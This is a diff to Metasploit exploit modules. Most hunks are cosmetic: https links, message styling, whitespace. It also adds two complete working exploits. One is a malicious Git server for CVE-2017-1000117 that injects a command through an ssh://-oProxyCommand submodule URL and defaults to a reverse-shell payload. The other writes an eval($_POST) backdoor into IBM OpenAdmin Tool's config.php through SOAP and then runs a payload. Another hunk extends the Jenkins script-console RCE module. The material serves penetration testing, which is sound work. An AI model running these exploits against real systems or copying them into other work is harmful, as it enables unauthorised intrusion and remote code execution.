b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer. The vulnerability exists in the agentUpload servlet which accepts unauthenticated - file uploads and handles zip file contents in a insecure way. By combining both + file uploads and handles zip file contents in an insecure way. By combining both weaknesses a remote attacker can achieve remote code execution. This module has been tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server, @@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote if res and res.code == 200 and res.body.empty? if is_payload - print_status("Payload uploaded successfully") + print_good("Payload uploaded successfully") end register_files_for_cleanup(target_path.gsub("../../", "../")) return true diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index 80880c8339..e2ef5c2c28 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Authenticating as user (#{user})") res = auth_bypass(base, user) if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/ - print_status("Authenticated successfully") + print_good("Authenticated successfully") else fail_with(Failure::NoAccess, "#{peer} - Authentication failed") end @@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote end if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/ dir = "#{base}#{$1}" - print_status("Successfully retrieved writable subdirectory (#{$1})") + print_good("Successfully retrieved writable subdirectory (#{$1})") else dir = "#{base}" print_error("Could not find a writable subdirectory.") diff --git a/modules/exploits/multi/http/familycms_less_exec.rb b/modules/exploits/multi/http/familycms_less_exec.rb index b5d3db0c62..cd9b37d883 100644 --- a/modules/exploits/multi/http/familycms_less_exec.rb +++ b/modules/exploits/multi/http/familycms_less_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote end end end - end diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb index 862a7dcbcf..522e5d40cc 100644 --- a/modules/exploits/multi/http/freenas_exec_raw.rb +++ b/modules/exploits/multi/http/freenas_exec_raw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -63,12 +63,11 @@ class MetasploitModule < Msf::Exploit::Remote send_request_raw({ 'uri' => "/#{page}" }, 5) handler else - print_error("Exploit failed.") + print_error("Exploit failed") return end end - end =begin diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index ca1142ca9a..32d783f2d4 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb index e90340cb71..e16eacf651 100644 --- a/modules/exploits/multi/http/git_client_command_exec.rb +++ b/modules/exploits/multi/http/git_client_command_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/git_submodule_command_exec.rb b/modules/exploits/multi/http/git_submodule_command_exec.rb new file mode 100644 index 0000000000..4b19fe57bd --- /dev/null +++ b/modules/exploits/multi/http/git_submodule_command_exec.rb @@ -0,0 +1,200 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117', + 'Description' => %q( + This module exploits CVE-2017-1000117, which affects Git + version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed + parameters from the username incorrectly. This can be used to inject + commands to the operating system when the submodule is cloned. + + This module creates a fake git repository which contains a submodule + containing the vulnerability. The vulnerability is triggered when the + submodules are initialised. + ), + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2017-1000117'], + ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ] + ], + 'DisclosureDate' => 'Aug 10 2017', + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'python' + } + } + } + ] + ], + 'DefaultOptions' => + { + 'Payload' => 'cmd/unix/reverse_python' + }, + 'DefaultTarget' => 0 + ) + ) + + register_options( + [ + OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), + OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) + ] + ) + end + + def setup + @repo_data = { + git: { files: {} } + } + setup_git + super + end + + def setup_git + # URI must start with a / + unless git_uri && git_uri =~ /^\// + fail_with(Failure::BadConfig, 'GIT_URI must start with a /') + end + + payload_cmd = payload.encoded + " &" + payload_cmd = Rex::Text.to_hex(payload_cmd, '%') + + submodule_path = datastore['GIT_SUBMODULE'] + if submodule_path.blank? + submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase + end + + gitmodules = "[submodule \"#{submodule_path}\"] +path = #{submodule_path} +url = ssh://-oProxyCommand=#{payload_cmd}/ +" + sha1, content = build_object('blob', gitmodules) + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + + tree = "100644 .gitmodules\0#{[sha1].pack('H*')}" + tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}" + sha1, content = build_object('tree', tree) + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + + ## build the supposed commit that dropped this file, which has a random user/company + email = Rex::Text.rand_mail_address + first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten + full_name = "#{first.capitalize} #{last.capitalize}" + tstamp = Time.now.to_i + author_time = rand(tstamp) + commit_time = rand(author_time) + tz_off = rand(10) + commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ + "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ + "\n" \ + "Initial commit to open git repository for #{company}!\n" + + sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") + @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content + @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" + @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" + end + + # Build's a Git object + def build_object(type, content) + # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html + header = "#{type} #{content.size}\0" + store = header + content + [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] + end + + # Returns the Git object path name that a file with the provided SHA1 will reside in + def get_path(sha1) + sha1[0...2] + '/' + sha1[2..40] + end + + def exploit + super + end + + def primer + # add the git and mercurial URIs as necessary + hardcoded_uripath(git_uri) + print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") + end + + # handles routing any request to the mock git, mercurial or simple HTML as necessary + def on_request_uri(cli, req) + # if the URI is one of our repositories and the user-agent is that of git/mercurial + # send back the appropriate data, otherwise just show the HTML version + user_agent = req.headers['User-Agent'] + if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri) + do_git(cli, req) + return + end + + do_html(cli, req) + end + + # simulates a Git HTTP server + def do_git(cli, req) + # determine if the requested file is something we know how to serve from our + # fake repository and send it if so + req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') + if @repo_data[:git][:files].key?(req_file) + vprint_status("Sending Git #{req_file}") + send_response(cli, @repo_data[:git][:files][req_file]) + else + vprint_status("Git #{req_file} doesn't exist") + send_not_found(cli) + end + end + + # simulates an HTTP server with simple HTML content that lists the fake + # repositories available for cloning + def do_html(cli, _req) + resp = create_response + resp.body = < + Public Repositories + +

Here are our public repositories:

+
    +HTML + this_git_uri = URI.parse(get_uri).merge(git_uri) + resp.body << "
  • Git (clone with `git clone #{this_git_uri}`)
  • " + resp.body << < + + +HTML + + cli.send_response(resp) + end + + # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI + def git_uri + return @git_uri if @git_uri + if datastore['GIT_URI'].blank? + @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' + else + @git_uri = datastore['GIT_URI'] + end + end +end diff --git a/modules/exploits/multi/http/gitlab_shell_exec.rb b/modules/exploits/multi/http/gitlab_shell_exec.rb index e6cc73da61..23976bdfe1 100644 --- a/modules/exploits/multi/http/gitlab_shell_exec.rb +++ b/modules/exploits/multi/http/gitlab_shell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb index 4d4bf3876d..6f20f3c416 100644 --- a/modules/exploits/multi/http/gitorious_graph.rb +++ b/modules/exploits/multi/http/gitorious_graph.rb @@ -1,10 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 40f1dc7d61..b6cecdbe60 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution", 'Description' => %q{ - This module logs in to an GlassFish Server (Open Source or Commercial) using various + This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer @@ -622,7 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote # Print upload result if res && res.code == 302 - print_status("Successfully uploaded") + print_good("Successfully Uploaded") else print_error("Error uploading #{res.code}") return @@ -718,35 +718,12 @@ class MetasploitModule < Msf::Exploit::Remote end def my_target_host - my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}" + "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}" end - def report_cred(opts) - service_data = { - address: rhost, - port: rport, - service_name: 'glassfish', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - module_fullname: fullname, - post_reference_name: self.refname, - private_data: opts[:password], - origin_type: :service, - private_type: :password, - username: opts[:user] - }.merge(service_data) - - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, - last_attempted_at: DateTime.now - }.merge(service_data) - - create_credential_login(login_data) + def service_details + super.merge({ post_reference_name: self.refname }) end def try_normal_login(version) @@ -783,7 +760,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Trying to login as #{cred.public}:#{cred.private}") result = @scanner.attempt_login(cred) if result.status == Metasploit::Model::Login::Status::SUCCESSFUL - report_cred(user: cred.public, password: cred.private) + store_valid_credential(user: cred.public, private: cred.private) # changes service_name to http || https return @scanner.jsession end end diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index 1a234f4f3a..c7a162900a 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb index eb0c56c5a7..fe41e9ba28 100644 --- a/modules/exploits/multi/http/glpi_install_rce.rb +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -106,5 +106,4 @@ class MetasploitModule < Msf::Exploit::Remote } }) end - end diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 6ae1d4cada..415c1713e2 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -1,10 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -88,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index 320b945037..ce733d1bc8 100644 --- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -160,5 +160,4 @@ class MetasploitModule < Msf::Exploit::Remote return res end - end diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 339e769e5f..6e1ace26ff 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -344,5 +344,4 @@ class MetasploitModule < Msf::Exploit::Remote return nil end - end diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index c203f40d17..b09a452fc0 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 0d3639df57..a192a38f3b 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb new file mode 100644 index 0000000000..9bab8189ee --- /dev/null +++ b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote PHP code execution + vulnerability in IBM OpenAdmin Tool included with IBM Informix + versions 11.5, 11.7, and 12.1. + + The 'welcomeServer' SOAP service does not properly validate user input + in the 'new_home_page' parameter of the 'saveHomePage' method allowing + arbitrary PHP code to be written to the config.php file. The config.php + file is executed in most pages within the application, and accessible + directly via the web root, resulting in code execution. + + This module has been tested successfully on IBM OpenAdmin Tool 3.14 + on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'SecuriTeam', # Discovery and exploit + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['CVE', '2017-1092'], + ['EDB', '42091'], + ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=swg22002897'], + ['URL', 'https://blogs.securiteam.com/index.php/archives/3210'], + ['URL', 'http://seclists.org/fulldisclosure/2017/May/105'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Privileged' => false, # Privileged on Windows but not on *nix targets + 'Targets' => [['Generic (PHP Payload)', {}]], + 'DisclosureDate' => 'May 30 2017', + 'DefaultTarget' => 0)) + register_options( + [ + OptString.new('TARGETURI', [ true, 'The base path to IBM OpenAdmin Tool', '/openadmin' ]) + ] + ) + end + + def set_home_page(homepage) + xml = Document.new + xml.add_element 'soapenv:Envelope', 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema', + 'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:urn' => 'urn:Welcome' + xml.root.add_element 'soapenv:Header' + xml.root.add_element 'soapenv:Body' + body = xml.root.elements[2] + body.add_element 'urn:saveHomePage', 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/' + new_home_page = body.elements[1].add_element 'new_home_page', 'xsi:type' => 'xsd:string' + new_home_page.text = homepage + + uri = normalize_uri target_uri.path, 'services', 'welcome', 'welcomeService.php' + send_request_cgi 'method' => 'POST', + 'uri' => uri, + 'ctype' => 'text/xml; charset=UTF-8', + 'headers' => { 'SOAPAction' => 'urn:QBEAction' }, + 'data' => xml.to_s + end + + def check + fingerprint = Rex::Text.rand_text_alpha(rand(10) + 6) + res = set_home_page "\";##{fingerprint}" + + unless res + vprint_status "#{peer} Connection failed" + return CheckCode::Unknown + end + + if res.code == 200 && res.body =~ %r{";##{fingerprint}} + return CheckCode::Detected + end + + Msf::Exploit::CheckCode::Safe + end + + def exploit + cmd_param = Rex::Text.rand_text_alpha(rand(10) + 6) + + res = set_home_page "\";eval($_POST['#{cmd_param}']); #" + + unless res + vprint_status "#{peer} Connection failed" + return CheckCode::Unknown + end + + if res.code == 200 && res.body =~ /";eval/ + print_good "#{peer} Wrote backdoor to config.php file successfully" + else + fail_with Failure::UnexpectedReply, "#{peer} Failed to backdoor config.php" + end + + vprint_status "#{peer} Executing payload..." + send_request_cgi({ 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'conf', 'config.php'), + 'vars_post' => { cmd_param => payload.encoded } }, 5) + + print_warning "#{peer} Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor" + end +end diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index 6212213d80..952b259ff6 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ ISPConfig allows an authenticated administrator to export language settings into a PHP script which is intended to be reuploaded later to restore language settings. This feature - can be abused to run aribtrary PHP code remotely on the ISPConfig server. + can be abused to run aribitrary PHP code remotely on the ISPConfig server. This module was tested against version 3.0.5.2. }, diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index ae0a3de41f..dc9c027634 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -192,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 489e3e91c5..b89ba1b487 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -1,7 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 2cdcb999bb..cdbecb9316 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -1,9 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -300,7 +299,7 @@ EOT elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" elsif res.code == 200 - vprint_status("Successfully called '#{uri}'") + vprint_good("Successfully called '#{uri}'") return res end @@ -734,5 +733,4 @@ EOT stream end - end diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 12d8ed79a5..ab8bbf5f9a 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -356,5 +356,4 @@ class MetasploitModule < Msf::Exploit::Remote end nil end - end diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb index 7182bf2d2b..3476298175 100644 --- a/modules/exploits/multi/http/jboss_seam_upload_exec.rb +++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb @@ -1,9 +1,10 @@ -# -# This module requires Metasploit: http://metasploit.com/download +## +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' + class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -16,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'JBoss Seam 2 File Upload and Execute', 'Description' => %q{ - Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly + Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly sanitize inputs to some JBoss Expression Language expressions. As a result, attackers can gain remote code execution through the application server. This module leverages RCE to upload and execute @@ -114,12 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) - vprint_status("#{rhost}:#{rport} Exploit successful") + vprint_good("#{rhost}:#{rport} Exploit successful") else - vprint_status("#{rhost}:#{rport} Exploit failed.") + vprint_error("#{rhost}:#{rport} Exploit failed") end else - vprint_status("#{rhost}:#{rport} Exploit failed.") + vprint_error("#{rhost}:#{rport} Exploit failed") end end @@ -141,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) }, timeout=datastore['TIMEOUT']) if (res and res.code == 200) - vprint_status("Successful request to JSP") + vprint_good("Successful request to JSP") else vprint_error("Failed to request JSP") end @@ -192,11 +193,11 @@ EOJSP #vprint_status("#{rhost}:#{rport} Exploit successful.") return true else - #vprint_status("#{rhost}:#{rport} Exploit failed.") + #vprint_status("#{rhost}:#{rport} Exploit failed") return false end else - #vprint_status("#{rhost}:#{rport} Exploit failed.") + #vprint_status("#{rhost}:#{rport} Exploit failed") return false end end diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 1f0bb7a061..2143eeb556 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => [ 'Spencer McIntyre', - 'jamcut' + 'jamcut', + 'thesubtlety' ], 'License' => MSF_LICENSE, 'DefaultOptions' => @@ -50,6 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), + OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]), OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]) ]) end @@ -77,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, 'script'), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -151,26 +154,42 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = nil @crumb = nil if res.code != 200 - print_status('Logging in...') - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), - 'vars_post' => - { - 'j_username' => datastore['USERNAME'], - 'j_password' => datastore['PASSWORD'], - 'Submit' => 'log in' - } - }) + if !datastore['API_TOKEN'].empty? + print_status('Authenticating with token...') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(@uri.path, "crumbIssuer/api/json"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']) + }) + if (res and res.code == 401) + fail_with(Failure::NoAccess, 'Login failed') + end + else + print_status('Logging in...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), + 'vars_post' => + { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'Submit' => 'log in' + } + }) - if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ - fail_with(Failure::NoAccess, 'Login failed') - end - sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] - @cookie = "#{sessionid}" + if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ + fail_with(Failure::NoAccess, 'Login failed') + end + if res.get_cookies.split('JSESSIONID').count > 2 + sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0] + else + sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] + end + @cookie = "#{sessionid}" - res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie}) - fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200 + res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie}) + fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200 + end else print_status('No authentication required, skipping login...') end @@ -178,7 +197,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.body =~ /"\.crumb", "([a-z0-9]*)"/ print_status("Using CSRF token: '#{$1}' (.crumb style)") @crumb = {:name => '.crumb', :value => $1} - elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ + elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/ print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)") @crumb = {:name => 'Jenkins-Crumb', :value => $1} end diff --git a/modules/exploits/multi/http/jira_hipchat_template.rb b/modules/exploits/multi/http/jira_hipchat_template.rb index 4068efd8df..cf434701df 100644 --- a/modules/exploits/multi/http/jira_hipchat_template.rb +++ b/modules/exploits/multi/http/jira_hipchat_template.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,8 +17,8 @@ class MetasploitModule < Msf::Exploit::Remote 